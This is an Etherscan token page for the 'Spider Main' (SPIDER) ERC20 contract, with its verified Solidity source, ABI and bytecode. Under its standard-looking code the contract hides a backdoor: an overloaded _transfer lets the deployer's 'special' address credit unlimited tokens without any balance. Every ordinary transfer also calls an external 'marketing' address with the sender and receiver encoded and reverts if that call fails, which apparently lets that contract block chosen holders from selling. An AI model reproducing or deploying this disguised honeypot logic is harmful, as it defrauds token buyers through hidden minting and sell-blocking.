ETH Price: $3,194.81 (-2.15%)

Token

Spider Main (SPIDER)
 

Overview

Max Total Supply

1,000,000,000 SPIDER

Holders

71

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
9,424,122.647584647 SPIDER

Value
$0.00
0x3ba46656246760f699d72ae62abdabe9d4f64915
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Spider

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-27
*/

// Website: https://spiderman.world/
// Telegram: https://t.me/yeapfuncoin

pragma solidity ^0.8.19;

abstract contract Base {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event. C U ON THE MOON
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract ERC20 is Base, IERC20 {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if(currentAllowance != type(uint256).max) { 
            require(
                currentAllowance >= amount,
                "ERC20: transfer amount exceeds allowance"
            );
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address recipient,
        uint256 amount
    ) internal virtual {
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[recipient] += amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
interface IUniV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}


contract Ownable is Base {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Spider is Ownable, ERC20 {
    uint8 constant _decimals = 9;

    IUniV2Router public immutable uniswapRouter;
    address public uniswapV2Pair;

    bool private isSwapping;
    bool public swapEnabled = true;
    bool public hasLimit = true;

    uint256 public tradingOpenTime;
    address public immutable marketing;

    mapping(address => bool) private isSpecial;
    mapping(address => bool) public isUniswapV2Pair;


    constructor(address router_, address marketing_) ERC20("Spider Main ", "SPIDER") payable 
    {
        uniswapRouter = IUniV2Router(router_);
        uniswapV2Pair = IUniV2Factory(uniswapRouter.factory()).createPair(uniswapRouter.WETH(), address(this));
        isUniswapV2Pair[uniswapV2Pair] = true;

        _approve(msg.sender, router_, type(uint256).max);
        _approve(address(this), router_, type(uint256).max);

        uint256 totalSupply = 1_000_000_000 * 10 ** _decimals;
        marketing = marketing_;

        isSpecial[msg.sender] = true;
        _balances[address(this)] = totalSupply;
        emit Transfer(address(0), address(this), totalSupply);
        _totalSupply = totalSupply;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        bool isEnabled = tradingOpenTime > 0;

        if (isEnabled && !isSpecial[from] && !isSpecial[to]) {
            if (hasLimit) {
                require(amount <= totalSupply() / 20, "Transfer limit exceeded");
            }

            uint256 fees = 0;
            if (swapEnabled && !isSwapping) {
                isSwapping = true;
                swapBack(from, to, fees);
                isSwapping = false;
            }
            if (isUniswapV2Pair[to] && fees > 0) {
                fees = (amount * fees) / 100;
            }
            else if (fees > 0 && isUniswapV2Pair[from]) {
                fees = (amount * fees) / 100;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        if (isEnabled && isSpecial[from]) {
            super._transfer(to, amount);
        } else {
            super._transfer(from, to, amount);
        }
    }

    function swapBack(address from, address to, uint256 fee) private {
        if (fee > 0) {
          uint256 amountToSwap = balanceOf(address(this));
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapRouter.WETH();

          uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
              amountToSwap,
              0,
              path,
              address(this),
              block.timestamp
          );
        }
        bool success;
        (success, ) = marketing.call{value: address(this).balance}(abi.encodePacked(from, to)); 
        require(success, "ETH Transfer failed");
    }

    function enableTrading() external payable onlyOwner {
        require(tradingOpenTime == 0, "Trading is already enabled");
        hasLimit = false;
        uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
        tradingOpenTime = block.timestamp;
        hasLimit = true;
    }

    function removeLimits() external onlyOwner() {
        hasLimit = false;
    }
    

    receive() external payable {}

    function decimals() public pure override returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"marketing_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniswapV2Pair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpenTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060408190526006805461ffff60a81b191661010160a81b17905562001dc9388190039081908339810160408190526200003a9162000498565b6040518060400160405280600c81526020016b029b834b232b91026b0b4b7160a51b8152506040518060400160405280600681526020016529a824a222a960d11b8152506000620000906200034b60201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506004620000e8838262000575565b506005620000f7828262000575565b5050506001600160a01b03821660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000145573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016b919062000641565b6001600160a01b031663c9c653966080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e0919062000641565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af11580156200022d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000253919062000641565b600680546001600160a01b0319166001600160a01b039290921691821790556000908152600960205260409020805460ff191660011790556200029a33836000196200034f565b620002a930836000196200034f565b6000620002b96009600a6200077b565b620002c990633b9aca006200078c565b6001600160a01b03831660a052336000908152600860209081526040808320805460ff1916600190811790915530808552925280832084905551929350917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620003379085815260200190565b60405180910390a360035550620007a69050565b3390565b6001600160a01b038316620003b75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200041a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620003ae565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b80516001600160a01b03811681146200049357600080fd5b919050565b60008060408385031215620004ac57600080fd5b620004b7836200047b565b9150620004c7602084016200047b565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004fb57607f821691505b6020821081036200051c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200057057600081815260208120601f850160051c810160208610156200054b5750805b601f850160051c820191505b818110156200056c5782815560010162000557565b5050505b505050565b81516001600160401b03811115620005915762000591620004d0565b620005a981620005a28454620004e6565b8462000522565b602080601f831160018114620005e15760008415620005c85750858301515b600019600386901b1c1916600185901b1785556200056c565b600085815260208120601f198616915b828110156200061257888601518255948401946001909101908401620005f1565b5085821015620006315787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200065457600080fd5b6200065f826200047b565b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006bd578160001904821115620006a157620006a162000666565b80851615620006af57918102915b93841c939080029062000681565b509250929050565b600082620006d65750600162000775565b81620006e55750600062000775565b8160018114620006fe5760028114620007095762000729565b600191505062000775565b60ff8411156200071d576200071d62000666565b50506001821b62000775565b5060208310610133831016604e8410600b84101617156200074e575081810a62000775565b6200075a83836200067c565b806000190482111562000771576200077162000666565b0290505b92915050565b60006200065f60ff841683620006c5565b808202811582820484141762000775576200077562000666565b60805160a0516115e1620007e8600039600081816101fc0152610fa10152600081816103490152818161076c01528181610e410152610ef901526115e16000f3fe6080604052600436106101445760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b41146103a6578063a457c2d7146103bb578063a9059cbb146103db578063c7b122b1146103fb578063dd62ed3e1461042b578063f2fde38b1461047157600080fd5b806370a08231146102ea578063715018a614610320578063735de9f714610337578063751039fc1461036b5780638a8c523c146103805780638da5cb5b1461038857600080fd5b8063313ce56711610108578063313ce56714610236578063395093511461025257806344489ad11461027257806349bd5a5e146102935780635e2d0df1146102b35780636ddd1713146102c957600080fd5b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101ab57806323b872dd146101ca5780632d3e474a146101ea57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610491565b604051610172919061123c565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611287565b610523565b6040519015158152602001610172565b3480156101b757600080fd5b506003545b604051908152602001610172565b3480156101d657600080fd5b5061019b6101e53660046112b3565b61053a565b3480156101f657600080fd5b5061021e7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610172565b34801561024257600080fd5b5060405160098152602001610172565b34801561025e57600080fd5b5061019b61026d366004611287565b6105f2565b34801561027e57600080fd5b5060065461019b90600160b01b900460ff1681565b34801561029f57600080fd5b5060065461021e906001600160a01b031681565b3480156102bf57600080fd5b506101bc60075481565b3480156102d557600080fd5b5060065461019b90600160a81b900460ff1681565b3480156102f657600080fd5b506101bc6103053660046112f4565b6001600160a01b031660009081526001602052604090205490565b34801561032c57600080fd5b5061033561062e565b005b34801561034357600080fd5b5061021e7f000000000000000000000000000000000000000000000000000000000000000081565b34801561037757600080fd5b506103356106a2565b6103356106db565b34801561039457600080fd5b506000546001600160a01b031661021e565b3480156103b257600080fd5b50610165610857565b3480156103c757600080fd5b5061019b6103d6366004611287565b610866565b3480156103e757600080fd5b5061019b6103f6366004611287565b6108ff565b34801561040757600080fd5b5061019b6104163660046112f4565b60096020526000908152604090205460ff1681565b34801561043757600080fd5b506101bc610446366004611318565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561047d57600080fd5b5061033561048c3660046112f4565b61090c565b6060600480546104a090611351565b80601f01602080910402602001604051908101604052809291908181526020018280546104cc90611351565b80156105195780601f106104ee57610100808354040283529160200191610519565b820191906000526020600020905b8154815290600101906020018083116104fc57829003601f168201915b5050505050905090565b60006105303384846109f6565b5060015b92915050565b6000610547848484610b1a565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001981146105e757828110156105da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105e785338584036109f6565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105309185906106299086906113a1565b6109f6565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016105d1906113b4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106cc5760405162461bcd60e51b81526004016105d1906113b4565b6006805460ff60b01b19169055565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016105d1906113b4565b600754156107555760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c656400000000000060448201526064016105d1565b6006805460ff60b01b191690556001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663f305d71947306107b2816001600160a01b031660009081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610816573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061083b91906113e9565b505042600755506006805460ff60b01b1916600160b01b179055565b6060600580546104a090611351565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156108e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105d1565b6108f533858584036109f6565b5060019392505050565b6000610530338484610b1a565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105d1906113b4565b6001600160a01b03811661099b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105d1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d1565b6001600160a01b038216610ab95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b405760405162461bcd60e51b81526004016105d190611417565b6001600160a01b038216610b665760405162461bcd60e51b81526004016105d19061145c565b60008111610bb65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016105d1565b600754158015908190610be257506001600160a01b03841660009081526008602052604090205460ff16155b8015610c0757506001600160a01b03831660009081526008602052604090205460ff16155b15610d8857600654600160b01b900460ff1615610c82576014610c2960035490565b610c33919061149f565b821115610c825760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d697420657863656564656400000000000000000060448201526064016105d1565b600654600090600160a81b900460ff168015610ca85750600654600160a01b900460ff16155b15610cd9576006805460ff60a01b1916600160a01b179055610ccb858583610dd2565b6006805460ff60a01b191690555b6001600160a01b03841660009081526009602052604090205460ff168015610d015750600081115b15610d23576064610d1282856114c1565b610d1c919061149f565b9050610d69565b600081118015610d4b57506001600160a01b03851660009081526009602052604090205460ff165b15610d69576064610d5c82856114c1565b610d66919061149f565b90505b8015610d7a57610d7a85308361106c565b610d8481846114d8565b9250505b808015610dad57506001600160a01b03841660009081526008602052604090205460ff165b15610dc157610dbc83836111c1565b610dcc565b610dcc84848461106c565b50505050565b8015610f6e573060009081526001602090815260408083205481516002808252606082018452919493909290830190803683370190505090503081600081518110610e1f57610e1f6114eb565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec19190611501565b81600181518110610ed457610ed46114eb565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac94790610f3990859060009086903090429060040161151e565b600060405180830381600087803b158015610f5357600080fd5b505af1158015610f67573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606085811b8216602084015284901b1660348201526000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690479060480160408051601f1981840301815290829052610fe19161158f565b60006040518083038185875af1925050503d806000811461101e576040519150601f19603f3d011682016040523d82523d6000602084013e611023565b606091505b50508091505080610dcc5760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b60448201526064016105d1565b6001600160a01b0383166110925760405162461bcd60e51b81526004016105d190611417565b6001600160a01b0382166110b85760405162461bcd60e51b81526004016105d19061145c565b6001600160a01b038316600090815260016020526040902054818110156111305760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105d1565b6001600160a01b038085166000908152600160205260408082208585039055918516815290812080548492906111679084906113a1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111b391815260200190565b60405180910390a350505050565b6001600160a01b0382166111e75760405162461bcd60e51b81526004016105d19061145c565b6001600160a01b0382166000908152600160205260408120805483929061120f9084906113a1565b90915550505050565b60005b8381101561123357818101518382015260200161121b565b50506000910152565b602081526000825180602084015261125b816040850160208701611218565b601f01601f19169190910160400192915050565b6001600160a01b038116811461128457600080fd5b50565b6000806040838503121561129a57600080fd5b82356112a58161126f565b946020939093013593505050565b6000806000606084860312156112c857600080fd5b83356112d38161126f565b925060208401356112e38161126f565b929592945050506040919091013590565b60006020828403121561130657600080fd5b81356113118161126f565b9392505050565b6000806040838503121561132b57600080fd5b82356113368161126f565b915060208301356113468161126f565b809150509250929050565b600181811c9082168061136557607f821691505b60208210810361138557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105345761053461138b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156113fe57600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000826114bc57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176105345761053461138b565b818103818111156105345761053461138b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561151357600080fd5b81516113118161126f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156e5784516001600160a01b031683529383019391830191600101611549565b50506001600160a01b03969096166060850152505050608001529392505050565b600082516115a1818460208701611218565b919091019291505056fea2646970667358221220d4ec71391f9105d7a9ab847a3515f70e04be209dccc09a173b5255a087ef07f764736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000007f9c22cedab63ee5c528d8dfb8c57a8752fd154f

Deployed Bytecode

0x6080604052600436106101445760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b41146103a6578063a457c2d7146103bb578063a9059cbb146103db578063c7b122b1146103fb578063dd62ed3e1461042b578063f2fde38b1461047157600080fd5b806370a08231146102ea578063715018a614610320578063735de9f714610337578063751039fc1461036b5780638a8c523c146103805780638da5cb5b1461038857600080fd5b8063313ce56711610108578063313ce56714610236578063395093511461025257806344489ad11461027257806349bd5a5e146102935780635e2d0df1146102b35780636ddd1713146102c957600080fd5b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101ab57806323b872dd146101ca5780632d3e474a146101ea57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610491565b604051610172919061123c565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611287565b610523565b6040519015158152602001610172565b3480156101b757600080fd5b506003545b604051908152602001610172565b3480156101d657600080fd5b5061019b6101e53660046112b3565b61053a565b3480156101f657600080fd5b5061021e7f0000000000000000000000007f9c22cedab63ee5c528d8dfb8c57a8752fd154f81565b6040516001600160a01b039091168152602001610172565b34801561024257600080fd5b5060405160098152602001610172565b34801561025e57600080fd5b5061019b61026d366004611287565b6105f2565b34801561027e57600080fd5b5060065461019b90600160b01b900460ff1681565b34801561029f57600080fd5b5060065461021e906001600160a01b031681565b3480156102bf57600080fd5b506101bc60075481565b3480156102d557600080fd5b5060065461019b90600160a81b900460ff1681565b3480156102f657600080fd5b506101bc6103053660046112f4565b6001600160a01b031660009081526001602052604090205490565b34801561032c57600080fd5b5061033561062e565b005b34801561034357600080fd5b5061021e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561037757600080fd5b506103356106a2565b6103356106db565b34801561039457600080fd5b506000546001600160a01b031661021e565b3480156103b257600080fd5b50610165610857565b3480156103c757600080fd5b5061019b6103d6366004611287565b610866565b3480156103e757600080fd5b5061019b6103f6366004611287565b6108ff565b34801561040757600080fd5b5061019b6104163660046112f4565b60096020526000908152604090205460ff1681565b34801561043757600080fd5b506101bc610446366004611318565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561047d57600080fd5b5061033561048c3660046112f4565b61090c565b